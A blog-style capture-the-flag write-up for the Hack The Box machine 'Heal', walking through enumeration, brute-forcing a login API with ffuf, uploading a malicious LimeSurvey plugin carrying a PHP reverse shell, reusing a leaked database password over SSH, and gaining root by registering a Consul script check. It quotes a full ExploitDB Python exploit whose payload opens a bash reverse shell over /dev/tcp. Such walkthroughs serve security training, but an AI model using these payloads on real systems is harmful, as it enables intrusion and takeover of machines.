RSS Amplifier

Nathan Ellison · May 23, 2025

Hack The Box - Heal

0
Sign in to vote or save

Nathan Ellison

Heal is a medium difficulty box on Hack The Box. It contains a resume generator website that generates PDF documents using information that is provided by the user. The site also contains a survey section where users can submit feedback for the application. After identifying the application hosting the survey, identifying the admin user, and finding their password, it is possible to log in as them and upload a malicious plugin to get a reverse shell as www-data. Post exploitation enumeration uncovers the database config of the survey application which contains a password which is reused by one of the box users. After logging in, checking the running processes shows that Consul is installed and running on the box. Googling around for Consul exploits produces some results describing how to exploit misconfigured Consul nodes to achieve code execution. Checking the configuration of Consul on the box shows that it is indeed vulnerable, leading to code execution as root.

Enumeration

First things first, enumeration begins with an nmap scan.

Nmap

After spinning up the box, I ran an nmap scan to find which ports were open and which services were listening.

nmap -sCV -oA nmap/heal --reason --stats-every=30s 10.10.11.46

After letting nmap run for a bit, it produced the following results:

Nmap scan report for 10.10.11.46
Host is up, received syn-ack (0.037s latency).

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

This box only had two ports open.

Port Service Remarks
22 SSH Remote login
80 HTTP Some kind of web app?

The website running on port 80 was the most logical next step.

Resume Website

I noticed from the nmap scan that it had not followed a redirect to http://heal.htb, so added that to my /etc/hosts file before visiting the site.

sudo nano /etc/hosts

10.10.11.46 heal.htb

Visting the site in a web browser presented me with a login form for a resume website.

resume website login page

I didn’t have an account, so I clicked the sign up button.

Request Analysis

To get a better idea of how the application was working, I intercepted the requests that were being sent from my browser. This allowed me to see the data that was flowing between the client and the server. After entering some suitably terrible login details into the signup form and submitting it, I observed a request being sent to the api.heal.htb/signup endpoint.

POST /signup HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 82
Origin: http://heal.htb
Connection: close
Referer: http://heal.htb/
{"username":"test","fullname":"test","email":"[email protected]","password":"test"}

Once an account is created, a similar request is sent to the api.heal.htb/signin endpoint when a user wants to log into their account.

POST /signin HTTP/1.1
Host: api.heal.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 37
Origin: http://heal.htb
Connection: close
Referer: http://heal.htb/
{"username":"test","password":"test"}

Successful logins would return a token:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 31 Dec 2024 02:54:40 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 95
Connection: close
access-control-allow-origin: http://heal.htb
access-control-allow-methods: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD
access-control-expose-headers:
access-control-max-age: 7200
x-frame-options: SAMEORIGIN
x-xss-protection: 0
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
etag: W/"4c258073d61b5117bfc0e8b546ead27f"
cache-control: max-age=0, private, must-revalidate
x-request-id: dec14b31-4215-4ccc-a141-9f3fc9226f2c
x-runtime: 0.314050
vary: Origin
{"token":"eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoyfQ.73dLFyR_K1A7yY9uDP6xu7H1p_c7DlFQEoN1g-LFFMQ"}

Unsuccessful logins would simply return an error message:

HTTP/1.1 401 Unauthorized
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 31 Dec 2024 03:02:27 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 41
Connection: close
access-control-allow-origin: http://heal.htb
access-control-allow-methods: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD
access-control-expose-headers:
access-control-max-age: 7200
x-frame-options: SAMEORIGIN
x-xss-protection: 0
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: strict-origin-when-cross-origin
cache-control: no-cache
x-request-id: 00bf7bb6-5980-4a28-80fe-f7d177ec14ab
x-runtime: 0.320015
vary: Origin
{"errors":"Invalid username or password"}

Resume Generator Application

After signing up successfully, I was brought to a form where I could input information for my resume.

resume info form

I played around with the form a little bit and created a resume. Get in touch if you want to hire me (seriously).

my super duper resume

The website used wkhtmltopdf to convert the HTML of the form into a PDF resume document. My initial exploitation attempts involved trying to inject iframe tags into the document in an attempt to leak the contents of files on the server. However, this didn’t work since the application would error out whenever I tried to set the src attribute of the iframe.

Survey

At the top of the resume builder form, there was a link to some kind of survey, which led me to this page:

take the survey button

Clicking the button redirected me to another virtual host; take-survey.heal.htb. After adding that to the hosts file, I was presented with a survey that contained a single question.

survey question

LimeSurvey

The different styling of the web page and the new subdomain take-survey.heal.htb made me suspicious. This didn’t appear to be the same application, but there weren’t any indentifying features on the survey itself. To identify what I was looking at, I tried viewing the robots.txt file to see if there were any entries that would give away what the application was. robots.txt didn’t exist, but the application returned an interesting error message.

not found error message

The logo on the error looked interesting, so I performed a reverse image search on it. This led me to discover that the survey application was LimeSurvey.

lime survey reverse image search

LimeSurvey is an application written in PHP that allows users to quickly create and share surveys and polls, and then report on the response statistics.

Having found that I was interacting with LimeSurvey, I tried poking around for some other pages to see if I could get into some kind of admin panel or another area that I wasn’t supposed to be able to access. Since I knew that LimeSurvey was written in PHP, I tried browsing to the index.php page at http://take-survey.heal.htb/index.php. The page that loaded disclosed the name of the admin user; ralph.

limesurvey admin page


(Enumeration Shortcut)

It was also possible to find out that LimeSurvey was being used and that ralph was the admin by just visiting http://take-survey.heal.htb, but I didn’t find that out until later.


Before moving on, I wanted to see if ralph was also a user of the resume generator application. I filled in the sign up form using his name, and was presented with this error:

error showing ralph is already a user

This confirmed that ralph was also a registered user of the resume generator application.

Admin Login

Having found out the name of the admin user, I wanted to find where the admin login page was. If I was able to work out ralph’s password, I would be able to log in as him and mess with the survey application. Rather than trying to fuzz the application to find the login page, I just went to the LimeSurvey docs to find where the admin endpoint was. It was /admin… probably could have just guessed that but ¯\_(ツ)_/¯.

Browsing to http://take-survey.heal.htb/admin brought me to the admin login page.

limesurvey admin login page

This presented a new problem; I didn’t know what ralph’s password was.

Password Attack

To find ralph’s password, I fuzzed the signin API of the resume generator application. I did this because I knew that all signin requests for that app were sent to http://api.heal.htb/signin, and ralph was a user of the resume app.

To fuzz the API, I used ffuf with the rockyou.txt wordlist:

ffuf -w /usr/share/wordlists/rockyou.txt:FUZZ -u http://api.heal.htb/signin -X POST -d '{"username":"ralph","password":"FUZZ"}' -H 'Content-Type: application/json' -fs 41 -t 4

I used a low number of threads (4) because fuzzing at a higher rate would cause the webserver to become unresponsive, and I wanted to keep looking around while ffuf was running (I also didn’t want to take it offline for the other players). I didn’t know how long it would take, so I just walked away from the computer for a bit. When I came back, I saw that ffuf had found the password:

        /____\  /____\           /____\ 
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ 
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\ 
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://api.heal.htb/signin
 :: Wordlist         : FUZZ: /usr/share/wordlists/rockyou.txt
 :: Header           : Content-Type: application/json
 :: Data             : {"username":"ralph","password":"FUZZ"}
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 4
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 41
________________________________________________

147258369               [Status: 200, Size: 95, Words: 1, Lines: 1, Duration: 837ms]

LimeSurvey Admin

With ralph’s password uncovered, I logged into LimeSurvey as him.

limesurvey admin page

Having gained access to the LimeSurvey backend, I then shifted to working out how I could turn that access into a foothold on the box. I Googled around for exploits relevant to LimeSurvey, and found this GitHub repo (as well as this exploit on ExploitDB). They both explained that it was possible to create a malicious plugin that would result in remote code execution once it was uploaded to LimeSurvey.

Malicous Plugin

The first step to creating the plugin was to get a PHP reverse shell. Kali comes with a ready-to-use PHP reverse shell script out of the box at /usr/share/webshells/php/php-reverse-shell.php. All that I needed to do was to change the relevant line (49 and 50) in the script to my own IP and port:

49$ip = 'X.X.X.X';    // CHANGE THIS
50$port = 4444;       // CHANGE THIS

The next step was to create a config.xml file, which contains the necessary metadata that LimeSurvey needs. The GitHub repo contained an example config.xml file, so I downloaded a copy to use for my plugin.

 1<?xml version="1.0" encoding="UTF-8"?>
 2<config>
 3    <metadata>
 4        <name>Y1LD1R1M</name>
 5        <type>plugin</type>
 6        <creationDate>2020-03-20</creationDate>
 7        <lastUpdate>2020-03-31</lastUpdate>
 8        <author>Y1LD1R1M</author>
 9        <authorUrl>https://github.com/Y1LD1R1M-1337</authorUrl>
10        <supportUrl>https://github.com/Y1LD1R1M-1337</supportUrl>
11        <version>6.6.4</version>
12        <license>GNU General Public License version 2 or later</license>
13        <description>
14                <![CDATA[Author : Y1LD1R1M]]></description>
15    </metadata>
16
17    <compatibility>
18        <version>3.0</version>
19        <version>4.0</version>
20        <version>5.0</version>
21    </compatibility>
22    <updaters disabled="disabled"></updaters>
23</config>

Next, I zipped these files together to form the .zip file that would be uploaded to LimeSurvey:

zip evil.zip config.xml rev.php

Upload Plugin

To upload the plugin file, I logged into the LimeSurvey admin panel and navigated to Configuration > Settings > Plugins.

limesurvey admin menu bar

This brought me to a list of plugins that were currently installed. To install my one, I clicked Upload & install, and selected my .zip file. At first, LimeSurvey reported that the plugin was incompatible.

plugin not compatible error

I checked the version of LimeSurvey that was running, and saw that it was version 6.6.4. I remembered that the config.xml file for my plugin only had entries under the <compatibility> tag for up to version 5.0.

17<compatibility>
18    <version>3.0</version>
19    <version>4.0</version>
20    <version>5.0</version>
21</compatibility>

To fix the issue, I added another entry to make the plugin compatible with version 6.0:

17<compatibility>
18    <version>3.0</version>
19    <version>4.0</version>
20    <version>5.0</version>
21    <version>6.0</version>
22</compatibility>

After re-zipping and re-uploading the plugin, it appeared to install successfully.

plugin installed successfully

Foothold

With the plugin uploaded, I started a listener on my machine.

nc -lvnp 4444
listening on [any] 4444 ...

To trigger my reverse shell payload, I browsed to http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/rev.php and caught the incoming shell on my listener:

listening on [any] 4444 ...
connect to [X.X.X.X] from (UNKNOWN) [10.10.11.46] 43370
Linux heal 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 11:03:01 up 13:18,  0 users,  load average: 0.04, 0.04, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can\'t access tty; job control turned off
$

I then upgraded the shell using python:

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@heal:/$

Post Exploitation

I landed as the www-data user. A quick check of /etc/passwd and cross referencing this with the /home directory showed that there were two users on the box:

  • ralph
  • ron

At this point, I didn’t have any credentials to try anywhere. To take over a user account, I was going to need to find a password from somewhere.

PostgreSQL

Having read up on LimeSurvey, I knew that it had a backend database supporting it. Checking /etc/passwd revealed which database was being used on the box:

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
ralph:x:1000:1000:ralph:/home/ralph:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
avahi:x:114:120:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
geoclue:x:115:121::/var/lib/geoclue:/usr/sbin/nologin
postgres:x:116:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
ron:x:1001:1001:,,,:/home/ron:/bin/bash

It was PostgreSQL.

LimeSurvey Config

Trying to log into the database with the default credentials didn’t get me anywhere. LimeSurvey needed to have some way to authenticate to the database, so I looked around for some configuration files that may contain the password. The LimeSurvey documentation mentioned an application/config directory, so that’s where I began my search.

The config directory was located at /var/www/limesurvey/application/config. Inside, there were a few config files. Most of them appeared to be template config files, but there was one that stood out; config.php. Printing out the content of config.php revealed the database connection string:

'db' => array(
        'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',
        'emulatePrepare' => true,
        'username' => 'db_user',
        'password' => 'AdmiDi0_pA$$w0rd',
        'charset' => 'utf8',
        'tablePrefix' => 'lime_',
)

Password Spraying

Having found out the names of the other box users, and after having found a password, I checked to see if any of the users had reused the database password as their own password. I put the usernames into a .txt file and ran netexec to perform a quick password spray:

netexec ssh 10.10.11.46 -u users.txt -p 'AdmiDi0_pA$$w0rd'

SSH    10.10.11.46  22  10.10.11.46      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH    10.10.11.46  22  10.10.11.46      [-] ralph:AdmiDi0_pA$$w0rd
SSH    10.10.11.46  22  10.10.11.46      [+] ron:AdmiDi0_pA$$w0rd  Linux - Shell access!

ron was my guy. I was able to SSH into the box as ron and capture the user flag.

Privilege Escalation

With a foothold as ron established, I began looking for ways to elevate my privileges. I checked for interesting files, SUID binaries, and sudo permissions, but nothing stood out. I then checked the running processes, and something did stand out.

...<SNIP>...

root        1002  0.4  2.6 1357732 104060 ?      Ssl  03:21   1:01 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/

...<SNIP>...

Consul was running on this box as root. Googling around for Consul exploits turns up some interesting results. Searching for consul rce showed results that included a blog post from Hashicorp that explained how misconfigured Consul agents could be abused to achieve remote code execution.

Consul is a service networking platform developed by HashiCorp. It is used to enable devices and services on a network to automatically discover other devices and services.

Consul contains a feature called “Script Checks”. These are a type of check that Consul is able to perform to determine if a given service is healthy. Script checks are created using the Consul API, and they run any arbitrary command or script to determine the health of a service. Because this behaviour is a security threat, script checks are disabled by default as of Consul version 0.9.0. You can read more about script checks on the developer documentation. For a Consul agent to be vulnerable to attack through the use of script checks, a few conditions need to be met:

  1. The Consul API is accessible
  2. Script checks are enabled
  3. ACLs are disabled (or an ACL token is compromised)

For this box, the Consul agent was accessible since a foothold had already been established. To check if script checks are enabled, the Consul API can be queried with a simple curl command:

curl http://localhost:8500/v1/agent/self

This dumped out a whole lot of JSON data describing the configuration of the Consul agent. After formatting it to make it readable, I found that script checks were indeed enabled:

189"EnableLocalScriptChecks": true,
190"EnableRemoteScriptChecks": true,

(At the time that I played this box, I wasn’t able to work out how to confirm how the ACLs were configured for this box. Given the promising indicators described above, I felt confident that I was on the right track).

Googling for consul script check exploit brought up this ExploitDB page, which contains a Python exploit that is able to abuse a misconfigured Consul agent by registering a malicious script check that contains a reverse shell payload. It does this using the /agent/service/register API endpoint, which you can read more about here.

# Exploit Title: Hashicorp Consul v1.0 - Remote Command Execution (RCE)
# Date: 26/10/2022
# Exploit Author: GatoGamer1155, 0bfxgh0st
# Vendor Homepage: https://www.consul.io/
# Description: Exploit for gain reverse shell on Remote Command Execution via API
# References: https://www.consul.io/api/agent/service.html
# Tested on: Ubuntu Server
# Software Link: https://github.com/hashicorp/consul

import requests, sys

if len(sys.argv) < 6:
    print(f"\n[\033[1;31m-\033[1;37m] Usage: python3 {sys.argv[0]} <rhost> <rport> <lhost> <lport> <acl_token>\n")
    exit(1)

target = f"http://{sys.argv[1]}:{sys.argv[2]}/v1/agent/service/register"
headers = {"X-Consul-Token": f"{sys.argv[5]}"}
json = {"Address": "127.0.0.1", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{sys.argv[3]}/{sys.argv[4]} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}

try:
    requests.put(target, headers=headers, json=json)
    print("\n[\033[1;32m+\033[1;37m] Request sent successfully, check your listener\n")
except:
    print("\n[\033[1;31m-\033[1;37m] Something went wrong, check the connection and try again\n")

To catch the incoming shell, I started a nc listener.

nc -lnvp 4444

The script required an ACL token to be provided, which I didn’t have, and I wasn’t sure where to find one. I ran the exploit script anyway and passed in an empty string as the ACL token, just to see if the system would block me (it didn’t).

python3 exploit.py 127.0.0.1 8500 X.X.X.X 4444 ""

The exploit reported that the request was successful, and moments later I received a reverse shell as root on my listener.

connect to [X.X.X.X] from (UNKNOWN) [10.10.11.46] 49546
bash: cannot set terminal process group (93717): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/#

References

Read the original on nathan-ellison.com

Comments

Nothing yet. Say the first thing.

    Sign in to join the conversation.